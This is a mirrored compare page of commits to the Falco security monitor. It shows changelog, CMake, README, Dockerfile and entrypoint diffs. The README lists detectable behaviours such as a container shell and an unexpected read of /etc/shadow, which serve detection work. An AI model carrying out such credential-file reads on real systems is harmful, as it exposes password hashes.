mirror of
https://github.com/falcosecurity/falco.git
synced 2026-03-20 03:32:09 +00:00
Compare commits
18 Commits
agent/0.40
...
agent/0.43
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8b18315c1e | ||
|
|
f95a0ead62 | ||
|
|
b1ad9e644e | ||
|
|
8a2924ad72 | ||
|
|
f98ec60c88 | ||
|
|
0211a94f60 | ||
|
|
e0e640c67f | ||
|
|
faef5621dd | ||
|
|
e543fbf247 | ||
|
|
f761ddff9f | ||
|
|
1f7c711a69 | ||
|
|
880c39633d | ||
|
|
3bb84f5498 | ||
|
|
7e60b4b6c2 | ||
|
|
1a78e45d7a | ||
|
|
20440912b7 | ||
|
|
f6720d3993 | ||
|
|
82903359cb |
45
CHANGELOG.md
45
CHANGELOG.md
@@ -2,6 +2,51 @@
|
||||
|
||||
This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
|
||||
|
||||
## v0.4.0
|
||||
|
||||
Released 2016-10-25
|
||||
|
||||
As falco depends heavily on sysdig, many changes here were actually made to sysdig and pulled in as a part of the build process. Issues/PRs starting with `sysdig/#XXX` are sysdig changes.
|
||||
|
||||
### Major Changes
|
||||
|
||||
* Improved visibility into containers:
|
||||
** New filter `container.privileged` to match containers running in privileged mode [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] [[sysdig/#658](https://github.com/draios/sysdig/pull/658)]
|
||||
** New rules utilizing privileged state [[#121](https://github.com/draios/falco/pull/121)]
|
||||
** New filters `container.mount*` to match container mount points [[sysdig/#655](https://github.com/draios/sysdig/pull/655)]
|
||||
** New rules utilizing container mount points [[#120](https://github.com/draios/falco/pull/120)]
|
||||
** New filter `container.image.id` to match container image id [[sysdig/#661](https://github.com/draios/sysdig/pull/661)]
|
||||
|
||||
* Improved visibility into orchestration environments:
|
||||
** New k8s.deployment.* and k8s.rs.* filters to support latest kubernetes features [[sysdg/#dbf9b5c](https://github.com/draios/sysdig/commit/dbf9b5c893d49f945c59684b4effe5700d730973)]
|
||||
** Rule changes to avoid FPs when monitoring k8s environments [[#138](https://github.com/draios/falco/pull/138)]
|
||||
** Add new options `-pc`/`-pk`/`-pm`/`-k`/`-m` analogous to sysdig command line options. These options pull metadata information from k8s/mesos servers and adjust default falco notification outputs to contain container/orchestration information when applicable. [[#131](https://github.com/draios/falco/pull/131)] [[#134](https://github.com/draios/falco/pull/134)]
|
||||
|
||||
* Improved ability to work with file pathnames:
|
||||
** Added `glob` operator for strings, works as classic shell glob path matcher [[sysdig/#653](https://github.com/draios/sysdig/pull/653)]
|
||||
** Added `pmatch` operator to efficiently test a subject pathname against a set of target pathnames, to see if the subject is a prefix of any target [[sysdig/#660](https://github.com/draios/sysdig/pull/660)] [[#125](https://github.com/draios/falco/pull/125)]
|
||||
|
||||
### Minor Changes
|
||||
|
||||
* Add an event generator program that simulates suspicious activity that can be detected by falco. This is also available as a docker image [[sysdig/falco-event-generator](https://hub.docker.com/r/sysdig/falco-event-generator/)]. [[#113](https://github.com/draios/falco/pull/113)] [[#132](https://github.com/draios/falco/pull/132)]
|
||||
* Changed rule names to be human readable [[#116](https://github.com/draios/falco/pull/116)]
|
||||
* Add Copyright notice to all source files [[#126](https://github.com/draios/falco/pull/126)]
|
||||
* Changes to docker images to make it easier to massage JSON output for webhooks [[#133](https://github.com/draios/falco/pull/133)]
|
||||
* When run with `-v`, print statistics on the number of events processed and dropped [[#139](https://github.com/draios/falco/pull/139)]
|
||||
* Add ability to write trace files with `-w`. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. [[#140](https://github.com/draios/falco/pull/140)]
|
||||
* All rules can now take an optional `enabled` flag. With `enabled: false`, a rule will not be loaded or run against events. By default all rules are enabled [[#119](https://github.com/draios/falco/pull/119)]
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* Fixed rule FPs related to docker's `docker`/`dockerd` split in 1.12 [[#112](https://github.com/draios/falco/pull/112)]
|
||||
* Fixed rule FPs related to sysdigcloud agent software [[#141](https://github.com/draios/falco/pull/141)]
|
||||
* Minor changes to node.js example to avoid falco false positives [[#111](https://github.com/draios/falco/pull/111/)]
|
||||
* Fixed regression that broke configurable outputs [[#117](https://github.com/draios/falco/pull/117)]. This was not broken in 0.3.0, just between 0.3.0 and 0.4.0.
|
||||
* Fixed a lua stack leak that could cause problems when matching millions of events against a large set of rules [[#123](https://github.com/draios/falco/pull/123)]
|
||||
* Update docker files to reflect changes to `debian:unstable` docker image [[#124](https://github.com/draios/falco/pull/124)]
|
||||
* Fixed logic for detecting config files to ensure config files in `/etc/falco.yaml` are properly detected [[#135](https://github.com/draios/falco/pull/135)] [[#136](https://github.com/draios/falco/pull/136)]
|
||||
* Don't alert on falco spawning a shell for program output notifications [[#137](https://github.com/draios/falco/pull/137)]
|
||||
|
||||
## v0.3.0
|
||||
|
||||
Released 2016-08-05
|
||||
|
||||
314
CMakeLists.txt
314
CMakeLists.txt
@@ -47,99 +47,193 @@ set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
|
||||
message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
|
||||
set(ZLIB_INCLUDE "${ZLIB_SRC}")
|
||||
set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
|
||||
ExternalProject_Add(zlib
|
||||
option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
|
||||
|
||||
#
|
||||
# zlib
|
||||
|
||||
option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_ZLIB)
|
||||
find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
|
||||
find_library(ZLIB_LIB NAMES z)
|
||||
if(ZLIB_INCLUDE AND ZLIB_LIB)
|
||||
message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system zlib")
|
||||
endif()
|
||||
else()
|
||||
set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
|
||||
message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
|
||||
set(ZLIB_INCLUDE "${ZLIB_SRC}")
|
||||
set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
|
||||
ExternalProject_Add(zlib
|
||||
URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
|
||||
URL_MD5 "44d667c142d7cda120332623eab69f40"
|
||||
CONFIGURE_COMMAND "./configure"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
|
||||
message(STATUS "Using bundled jq in '${JQ_SRC}'")
|
||||
set(JQ_INCLUDE "${JQ_SRC}")
|
||||
set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
|
||||
ExternalProject_Add(jq
|
||||
#
|
||||
# jq
|
||||
#
|
||||
option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
|
||||
if(NOT USE_BUNDLED_JQ)
|
||||
find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
|
||||
find_library(JQ_LIB NAMES jq)
|
||||
if(JQ_INCLUDE AND JQ_LIB)
|
||||
message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system jq")
|
||||
endif()
|
||||
else()
|
||||
set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
|
||||
message(STATUS "Using bundled jq in '${JQ_SRC}'")
|
||||
set(JQ_INCLUDE "${JQ_SRC}")
|
||||
set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
|
||||
ExternalProject_Add(jq
|
||||
URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
|
||||
URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
|
||||
CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
|
||||
BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
|
||||
set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
|
||||
set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
|
||||
|
||||
#
|
||||
# curses
|
||||
#
|
||||
# we pull this in because libsinsp won't build without it
|
||||
set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
|
||||
set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
|
||||
set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
|
||||
message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
|
||||
ExternalProject_Add(ncurses
|
||||
|
||||
option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_NCURSES)
|
||||
set(CURSES_NEED_NCURSES TRUE)
|
||||
find_package(Curses REQUIRED)
|
||||
message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
|
||||
else()
|
||||
set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
|
||||
set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
|
||||
set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
|
||||
message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
|
||||
ExternalProject_Add(ncurses
|
||||
URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
|
||||
URL_MD5 "32b8913312e738d707ae68da439ca1f4"
|
||||
CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
#
|
||||
# libb64
|
||||
#
|
||||
option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})
|
||||
|
||||
set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
|
||||
message(STATUS "Using bundled b64 in '${B64_SRC}'")
|
||||
set(B64_INCLUDE "${B64_SRC}/include")
|
||||
set(B64_LIB "${B64_SRC}/src/libb64.a")
|
||||
ExternalProject_Add(b64
|
||||
if(NOT USE_BUNDLED_B64)
|
||||
find_path(B64_INCLUDE NAMES b64/encode.h)
|
||||
find_library(B64_LIB NAMES b64)
|
||||
if(B64_INCLUDE AND B64_LIB)
|
||||
message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system b64")
|
||||
endif()
|
||||
else()
|
||||
set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
|
||||
message(STATUS "Using bundled b64 in '${B64_SRC}'")
|
||||
set(B64_INCLUDE "${B64_SRC}/include")
|
||||
set(B64_LIB "${B64_SRC}/src/libb64.a")
|
||||
ExternalProject_Add(b64
|
||||
URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
|
||||
URL_MD5 "a609809408327117e2c643bed91b76c5"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
#
|
||||
# yamlcpp
|
||||
#
|
||||
option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
|
||||
|
||||
set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
|
||||
message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
|
||||
set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
|
||||
set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
|
||||
# Once the next version of yaml-cpp is released (first version not requiring
|
||||
# boost), we can switch to that and no longer pull from github.
|
||||
ExternalProject_Add(yamlcpp
|
||||
if(NOT USE_BUNDLED_YAMLCPP)
|
||||
find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
|
||||
find_library(YAMLCPP_LIB NAMES yaml-cpp)
|
||||
if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
|
||||
message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system yamlcpp")
|
||||
endif()
|
||||
else()
|
||||
set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
|
||||
message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
|
||||
set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
|
||||
set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
|
||||
# Once the next version of yaml-cpp is released (first version not requiring
|
||||
# boost), we can switch to that and no longer pull from github.
|
||||
ExternalProject_Add(yamlcpp
|
||||
GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
|
||||
GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
|
||||
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
|
||||
set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
|
||||
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
|
||||
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
|
||||
#
|
||||
# OpenSSL
|
||||
#
|
||||
option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
|
||||
|
||||
message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
|
||||
if(NOT USE_BUNDLED_OPENSSL)
|
||||
find_package(OpenSSL REQUIRED)
|
||||
message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
|
||||
else()
|
||||
|
||||
ExternalProject_Add(openssl
|
||||
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
|
||||
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
|
||||
set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
|
||||
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
|
||||
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
|
||||
|
||||
message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
|
||||
|
||||
ExternalProject_Add(openssl
|
||||
URL "http://download.draios.com/dependencies/openssl-1.0.2d.tar.gz"
|
||||
URL_MD5 "38dd619b2e77cbac69b99f52a053d25a"
|
||||
CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND ${CMD_MAKE} install)
|
||||
endif()
|
||||
|
||||
set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
|
||||
#
|
||||
# libcurl
|
||||
#
|
||||
option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_CURL)
|
||||
find_package(CURL REQUIRED)
|
||||
message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
|
||||
else()
|
||||
set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
|
||||
set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
|
||||
set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
|
||||
|
||||
set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
|
||||
set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
|
||||
set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
|
||||
message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
|
||||
message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
|
||||
if(NOT USE_BUNDLED_OPENSSL)
|
||||
set(CURL_SSL_OPTION "--with-ssl")
|
||||
else()
|
||||
set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
|
||||
message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
|
||||
message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(curl
|
||||
ExternalProject_Add(curl
|
||||
DEPENDS openssl
|
||||
URL "http://download.draios.com/dependencies/curl-7.45.0.tar.bz2"
|
||||
URL_MD5 "62c1a352b28558f25ba6209214beadc8"
|
||||
@@ -147,50 +241,120 @@ ExternalProject_Add(curl
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
|
||||
message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
|
||||
set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
|
||||
set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
|
||||
ExternalProject_Add(luajit
|
||||
#
|
||||
# LuaJIT
|
||||
#
|
||||
option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_LUAJIT)
|
||||
find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
|
||||
find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
|
||||
if(LUAJIT_INCLUDE AND LUAJIT_LIB)
|
||||
message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
|
||||
else()
|
||||
# alternatively try stock Lua
|
||||
find_package(Lua51)
|
||||
set(LUAJIT_LIB ${LUA_LIBRARY})
|
||||
set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
|
||||
|
||||
if(NOT ${LUA51_FOUND})
|
||||
message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
|
||||
endif()
|
||||
endif()
|
||||
else()
|
||||
set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
|
||||
message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
|
||||
set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
|
||||
set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
|
||||
ExternalProject_Add(luajit
|
||||
URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
|
||||
URL_MD5 "f14e9104be513913810cd59c8c658dc0"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
|
||||
set (LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
|
||||
ExternalProject_Add(lpeg
|
||||
DEPENDS luajit
|
||||
URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
|
||||
URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
|
||||
BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
#
|
||||
# Lpeg
|
||||
#
|
||||
option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_LPEG)
|
||||
find_library(LPEG_LIB NAMES lpeg.a)
|
||||
if(LPEG_LIB)
|
||||
message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system lpeg")
|
||||
endif()
|
||||
else()
|
||||
set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
|
||||
set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
|
||||
ExternalProject_Add(lpeg
|
||||
DEPENDS luajit
|
||||
URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
|
||||
URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
|
||||
BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
set (LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
|
||||
set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
|
||||
ExternalProject_Add(libyaml
|
||||
URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
|
||||
URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ./bootstrap && ./configure
|
||||
INSTALL_COMMAND "")
|
||||
#
|
||||
# Libyaml
|
||||
#
|
||||
option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})
|
||||
|
||||
set (LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
|
||||
set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
|
||||
ExternalProject_Add(lyaml
|
||||
URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
|
||||
URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
|
||||
INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
|
||||
if(NOT USE_BUNDLED_LIBYAML)
|
||||
# Note: to distinguish libyaml.a and yaml.a we specify a full
|
||||
# file name here, so you'll have to arrange for static
|
||||
# libraries being available.
|
||||
find_library(LIBYAML_LIB NAMES libyaml.a)
|
||||
if(LIBYAML_LIB)
|
||||
message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system libyaml")
|
||||
endif()
|
||||
else()
|
||||
set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
|
||||
set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
|
||||
ExternalProject_Add(libyaml
|
||||
URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
|
||||
URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ./bootstrap && ./configure
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
|
||||
#
|
||||
# lyaml
|
||||
#
|
||||
option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
|
||||
|
||||
if(NOT USE_BUNDLED_LYAML)
|
||||
# Note: to distinguish libyaml.a and yaml.a we specify a full
|
||||
# file name here, so you'll have to arrange for static
|
||||
# libraries being available.
|
||||
find_library(LYAML_LIB NAMES yaml.a)
|
||||
if(LYAML_LIB)
|
||||
message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system lyaml")
|
||||
endif()
|
||||
else()
|
||||
set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
|
||||
set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
|
||||
ExternalProject_Add(lyaml
|
||||
URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
|
||||
URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
|
||||
INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
|
||||
endif()
|
||||
|
||||
install(FILES falco.yaml
|
||||
DESTINATION "${FALCO_ETC_DIR}")
|
||||
@@ -201,7 +365,7 @@ add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/users
|
||||
|
||||
add_subdirectory(scripts)
|
||||
set(FALCO_SINSP_LIBRARY sinsp)
|
||||
set(FALCO_SHARE_DIR share/falco)
|
||||
set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco)
|
||||
add_subdirectory(userspace/engine)
|
||||
add_subdirectory(userspace/falco)
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
####Latest release
|
||||
|
||||
**v0.3.0**
|
||||
**v0.4.0**
|
||||
Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
|
||||
|
||||
Dev Branch: [](https://travis-ci.org/draios/falco)<br />
|
||||
@@ -16,6 +16,7 @@ Sysdig Falco is a behavioral activity monitor designed to detect anomalous activ
|
||||
Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
|
||||
|
||||
- A shell is run inside a container
|
||||
- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
|
||||
- A server process spawns a child process of an unexpected type
|
||||
- Unexpected read of a sensitive file (like `/etc/shadow`)
|
||||
- A non-device file is written to `/dev`
|
||||
|
||||
@@ -19,6 +19,7 @@ RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
curl \
|
||||
jq \
|
||||
gnupg2 \
|
||||
ca-certificates \
|
||||
gcc \
|
||||
|
||||
@@ -1,13 +1,17 @@
|
||||
#!/bin/bash
|
||||
#set -e
|
||||
|
||||
echo "* Setting up /usr/src links from host"
|
||||
# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
|
||||
|
||||
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
|
||||
do
|
||||
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
|
||||
done
|
||||
if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
|
||||
echo "* Setting up /usr/src links from host"
|
||||
|
||||
/usr/bin/sysdig-probe-loader
|
||||
for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
|
||||
do
|
||||
ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
|
||||
done
|
||||
|
||||
/usr/bin/sysdig-probe-loader
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
|
